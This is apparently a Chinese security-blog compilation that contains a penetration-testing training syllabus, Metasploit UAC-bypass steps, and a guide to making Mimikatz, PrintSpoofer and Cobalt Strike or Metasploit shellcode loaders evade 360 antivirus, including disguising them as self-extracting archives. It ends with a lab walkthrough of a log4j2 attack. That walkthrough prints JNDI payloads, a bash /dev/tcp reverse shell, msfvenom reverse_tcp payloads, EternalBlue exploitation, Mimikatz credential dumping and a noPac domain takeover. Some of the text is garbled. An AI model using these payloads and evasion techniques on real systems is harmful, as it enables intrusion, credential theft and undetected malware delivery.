*** 安全培训的内容
*** 安全培训主要分为五个阶段,之一阶段主要是学数据库基础、 *** 基础和linux基础,第二阶段主要学习内容web安全编程开发,第三阶段主要学习内容web漏洞与代码审计,第四阶段主要是高级web渗透测试项目实战,第五阶段主要是 *** 安全事件应急响应。
之一阶段:
学习数据库基础、 *** 基础和linux基础。具体细致的技术包括MySQL安装操作,基本使用命令,MySQL事物、MySQL函数、tcp和udp基本原理,VIM编辑器等。
第二阶段:
主要学习内容是web具体技术包括安全编程开发html/js、PHP语言基础、HTML简介、基本语法、常用标签、表单元素、PHP环境安装、Nginx、配置文件等。
第三阶段:
主要学习内容:web漏洞与代码审计,具体技术包括xss跨站脚本漏洞、文件上传漏洞、文件分析漏洞、PHP代码审计、web安全基础概述等。
第四阶段:
高级web实战渗透测试项目,AV bypAss、webshell bypass、sql注入bypass、waf解释工作原理等内容。
第五阶段:
*** 安全事件应急响应,具体技术包括日志格式解释、常用分析工具、攻击代码特征识别、IP编制可追溯性、工艺分析、工具使用、等级保护体系建设、等级保护评价标准、等级保护方案。
渗透测试之内网提权
UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。
当前获得的权限是存在于管理员组的时候但是并且是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac
开始提权
getsystem
提权失败 一般都是上面说的uac的问题 常识 bypass uac
输入background 让该会话在后台运行 不在这个模式下 没办法调用msf的提权模块
使用提权工具
set SESSION 2(这个session要和之前监听的那个session一样 否则不成功)
set TECHNIQUE up.exe
set TECHNIQUE EXE
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.107
show options
sessions -i
exploit
或者使用
use post/windows/gather/enum_patches
需要设置一下session
如果目标系统安装了安全更新的话是无法提权成功的
出现这种情况就是无法成功提权 可利用的漏洞都被打上补丁了
或者漏洞编号:ms11-080
windows 7、8、08、12、16下可以成功 2003也可以
关于sc命令:
SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。
这个命令的意思是创建一个名叫syscmd的新的交互式的cmd服务
然后执行
sc start systcmd,就得到了一个system权限的cmd环境
什么是渗透测试?如何做渗透测试?
渗透测试,是为了证明 *** 防御按照预期计划正常运行而提供的一种机制。不妨假设,你的公司定期更新安全策略和程序,时时给系统打补丁,并采用了漏洞扫描器等工具,以确保所有补丁都已打上。如果你早已做到了这些,为什么还要请外方进行审查或渗透测试呢?因为,渗透测试能够独立地检查你的 *** 策略,换句话说,就是给你的系统安了一双眼睛。而且,进行这类测试的,都是寻找 *** 系统安全漏洞的专业人士。
渗透测试一定要遵循软件测试基本流程,要知道测试过程和目标特殊,在具体实施步骤上主要包含以下几步:
1、明确目标
当测试人员拿到需要做渗透测试的项目时,首先确定测试需求,如测试是针对业务逻辑漏洞,还是针对人员管理权限漏洞等;然后确定客户要求渗透测试的范围,如ip段、域名、整站渗透或者部分模块渗透等;最后确定渗透测试规则,如能够渗透到什么程度,是确定漏洞为止还是继续利用漏洞进行更进一步的测试,是否允许破坏数据、是否能够提升权限等。
2、收集信息
在信息收集阶段要尽量收集关于项目软件的各种信息。比如:对于一个Web应用程序,要收集脚本类型、服务器类型、数据库类型以及项目所用到的框架、开源软件等。信息收集对于渗透测试来说非常重要,只要掌握目标程序足够多的信息,才能更好地进行漏洞检测。
信息收集的方式可分为以下2种:主动收集、被动收集。
3、扫描漏洞
在这个阶段,综合分析收集到的信息,借助扫描工具对目标程序进行扫描,查找存在的安全漏洞。
4、验证漏洞
在扫描漏洞阶段,测试人员会得到很多关于目标程序的安全漏洞,但这些漏洞有误报,需要测试人员结合实际情况,搭建模拟测试环境对这些安全漏洞进行验证。被确认的安全漏洞才能被利用执行攻击。
5、分析信息
经过验证的安全漏洞就可以被利用起来向目标程序发起攻击,但是不同的安全漏洞,攻击机制不同,针对不同的安全漏洞需要进一步分析,制定一个详细的攻击计划,这样才能保证测试顺利执行。
6、渗透攻击
渗透攻击实际是对目标程序进行的真正攻击,为了达到测试的目的,像是获取用户账号密码、截取目标程序传输数据等。渗透测试是一次性测试,在攻击完成后能够执行清理工作。
7、整理信息
渗透攻击完成后,整理攻击所获得的信息,为后边编写测试报告提供依据。
8、编写报告
测试完成之后要编写报告,阐述项目安全测试目标、信息收集方式、漏洞扫描工具以及漏洞情况、攻击计划、实际攻击结果等。此外,还要对目标程序存在的漏洞进行分析,提供安全有效的解决办法。
内网渗透-常用工具免杀
Mimikatz其实并不只有抓取口令这个功能,它还能够创建票证、票证传递、hash传递、甚至伪造域管理凭证令牌等诸多功能。由于mimikatz的使用说明网上资料很多,这里就不多加介绍了,随着这两年hw行动越来越多,企事业单位也都开始注重内网安全,有预算的会上 *** 的终端安全、企业版杀软或者EDR,就算没有预算的也会装个360全家桶或者主机卫士之类的,这也导致很多时候你的mimikatz可能都没法拷贝过去或者没有加载执行,拿了台服务器却横向移不动就尴尬了。因为这款工具特别出名所以被查杀的机率很大, 我们可以通过 github 上的开源代码对其进行源码免杀从而 bypass 反病毒软件。
Mimikatz 源代码下载
免杀步骤
替换 mimikatz 关键字 shenghuo
mimikatz 下的文件全部改为 shenghu
把项目里所有的文件注释去掉
/_ Benjamin DELPY gentilkiwi benjamin@gentilkiwi.com Licence : _/
打开红色框框内的内容,替换图标文件
出现 无法找到 v140 的生成工具(平台工具集 =“v140”),要选择自己安装的平台工具集
重新生成
生成的程序能够正确运行
成功过360
PrintSpoofer做免杀
printspoofer提权工具目前主流的提权工具之一,360 安全会自动查杀,其他杀毒软件并不会查杀。
源码下载地址:
将PrintSpoofer.cpp 里面的输出帮助文档全部清空
导入图标
重新生成,程序生成成功
成功过360
metasploit 是一款开源的安全漏洞检测工具,同时Metasploit 是免费的工具,因此安全工作人员常用 Metasploit 工具来检测系统的安全性。Metasploit Framework (MSF) 在 2003 年以开放源码方式发布,是可以自由获取的开发框架。 它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、 shellcode 编写和漏洞研究提供了一个可靠平台。其中攻击载荷模块(Payload) , 在红队中是个香饽饽,使用这个模块生成的后门,不仅支持多种平台,而且 Metasploit 还有编码器模块(Encoders),生成后门前,对其进行编码转换,可以混 淆绕过一部分杀毒软件。
工具 Dev-Cpp 5.11 TDM-GCC 4.9.2 Setup 下载地址
metasploit源码下载:metasploit-loader/master/src/main.c
选择:文件-新建项目-consoleApplication-c 项目
把winsock2.h 移动到windows.h 上 不然编译会出错。
将这四处的数字改为其他数字
设置攻击载荷,执行后成功上线
成功过360
生成python64位的shellcode
添加生成的shellcode
编译成程序
pyinstaller -F test.py —noconsole
此时还要做的就是更改图标,这里介绍一种 ***
首先右击它,选择“添加到压缩文件”
在弹出来的一个“压缩文件名和参数”框中设置压缩文件格式为“ZIP”,压缩方式为“存储”,压缩选项为“创建自解压格式压缩文件”。
随后选择“高级”选项卡。选择了“高级”选项卡以后直接点击“自解压选项”
在设置选项卡中解压后运行对应程序
在模式选项卡中选择解压临时文件夹和全部隐藏
随后再选择“更新”选项卡,在覆盖方式中选择“覆盖所有文件”
最后选择“文本和图标”选项卡,在自定义自解压文件徽标和图标中选择“从文件加载自解压文件图标”,点击“浏览”,找到自己想要加载的图标文件后并打开
然后就点击确定(两次)就可以生成一个新的exe程序了。图标已经改变了,再运行测试一下
上传去目标主机,这里更改了程序名称
在线查杀
是很流行的编程语言,也可以用它来做一个加载器运行cobaltstrike的 shellcode,生成出来的 文件特别的小,可以很好地投递传输。
项目地址 用 vs2017 打开 sln 项目文件
选择 xorkryptor 生成编码器 用 cobalt strike生成 raw 二进制文件
encrypt.bin 就是经过编码后的文件
项目里面存有 Rsources 和 encrypt.bin 文件 事实上项目是没有这个文件夹和文 件所以在当前目录新建文件夹和将生成好的shellcode文件 encrypt.bin 复制到文 件夹里。右键选择编译文件即可。
此时文件正常
重新编译,成功生成后门程序
成功过360
成功上线
记一次log4j2引发的渗透测试
记一次log4j2打入内网并用CVE-2021-42287、CVE-2021-42278获取到DC权限的靶场渗透。
首先对web进行端口扫描,发现38080端口和22端口
访问一下38080端口发现是一个error page
用Wappalyzer看一下是什么架构,但是好像没有检测出来
拿着报错去百度上发现应该是springboot
索性用goby再去扫一下,应该是spring没错,但是没有漏洞是什么操作?联想到最近出的log4j2的洞,可能他只是一个日志文件所以并没有框架
使用 payload=${jndi:ldap://p9j8l8.dnslog.cn} 验证一下有回显证明存在漏洞
尝试进一步利用漏洞,首先起一个ldap服务,ip为本地接收shell的ip地址
pre class="a8fe-efa5-ace5-190a md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105/pre
抓包修改 Content-Type: appllication/x-www-form-urlencoded ,并执行以下payload成功回显
pre class="efa5-ace5-190a-8d29 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"payload=${jndi: ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho }/pre
执行 ls -al / 看一下也成功
nc开启监听端口
然后使用bash命令反弹,这里需要先base64编码然后对编码后的特殊字符进行2层url转码
pre class="ace5-190a-8d29-83d1 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"bash -i /dev/tcp/192.168.1.105/9999 01/pre
抓包添加 payload=${jndi:ldap:1/192.168.1.105:1389/TomcatBypass/Command/Base64/二层转码之后的字符} ,即可得到反弹shell
进行信息搜集发现为docker环境,这里尝试了docker逃逸失败,那么继续进行信息搜集
在根目录下找到了之一个flag,这里有一个 got this ,在之前端口扫描的时候看到开放了22端口,尝试使用ssh直接连接
使用xshell尝试连接
连接成功,拿到了宿主机的权限
ifconfig查看网卡情况发现还有一张10.0.1.0/24段的网卡
这里方便的话其实可以使用cs上线linux后用cs继续打,这里我就没有上线cs,使用linux的命令对10.0.1.0/24段探测存货主机
pre class="190a-8d29-83d1-80ef md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;" for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 i Find the target; fi; done/pre
ping一下是存活的
使用毒液把流量 *** 出来,首先开启监听
pre class="ac15-c8af-8994-bde3 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"admin.exe -lport 7777/pre
然后上传agent_linux到靶机上
加权并执行
pre class="c8af-8994-bde3-ca06 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"chmod 777 agent_linux_x86
agent_linux_x86 -rhost 192.168.1.105 -rport 7777/pre
连接成功
这里本来准备用毒液的 *** 到msf打的,后面觉得比较麻烦,就直接用kali生成的elf马上线msf了
首先生成一个32位的elf马
pre class="8994-bde3-ca06-4bca md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf shell.elf/pre
然后加权并执行
pre class="bde3-ca06-4bca-458e md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"chmod 777 shell.elf
./shell/pre
kali使用 exploit/multi/handler 进行监听
获取到宿主机的shell
然后添加10.0.1.0/24段的路由
pre class="ca06-4bca-458e-6242 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"bg
route add 10.0.1.0 255.255.255.0 1
route print/pre
然后配置 proxychain4.conf 文件并使用socks模块
pre class="4bca-458e-6242-32f8 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"search socks
use auxiliary/sevrer/socks_proxy
run/pre
我们在之前已经知道了内网主机的ip,那么这里我们直接使用proxychain配合nmap对10.0.1.7的端口进行扫描
pre class="458e-6242-32f8-119c md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"proxychains4 nmap -sT -Pn 10.0.1.7/pre
发现有445端口,那么对445端口进一步扫描
先确定一下系统版本,使用 auxiliary/scanner/ *** b/ *** b_version 模块,发现是win7 sp1
看能不能利用永恒之蓝,这里使用到 auxiliary/scanner/ *** b/ *** b_ms17_010 模块,发现可以利用永恒之蓝
使用 exploit/windows/ *** b/ms17_010_eternalbule 模块,因为是不出网环境,这里需要用到 bind_tcp 载荷
run之后拿到一个system权限的meterpreter
在 C:\Users\root\Desktop 下拿到第二个flag
然后继续进行信息搜集,发现同样是双网卡,还存在10.0.0.0/24段的一张网卡
ipconfig /all看到dns服务器为 redteam.lab 应该在域内
这里ping一下 redteam.lab 得到域控的ip为10.0.0.12
这里不知道域控有什么洞,先上传一个mimikatz把密码抓取出来,得到 Administrator/Admin12345 ,这里其实就可以使用域管账户ipc直接连接,但是这里抓到了一个域用户,尝试使用最新的CVE-2021-42287、CVE-2021-42278来进行攻击,关于漏洞的原理请 移步
pre class="6242-32f8-119c-7b8e md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"privilege::debug
sekurlsa::logonpasswords/pre
这里我准备使用noPac.exe直接去获取一个shell的,但是这里noPac.exe的利用条件是需要主机上有.net4.0环境,所以这里没有回显
本来准备一步一步的用原始的 *** 打的,但是powershell用不了没有回显,就写一下原始利用的步骤吧
这里直接使用 sam_the_admin.py 进行攻击
pre class="32f8-119c-7b8e-a8fe md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell/pre
即可拿到DC的shell
在 C:\Users\Administrator\Desktop 下找到最后一个flag
0条大神的评论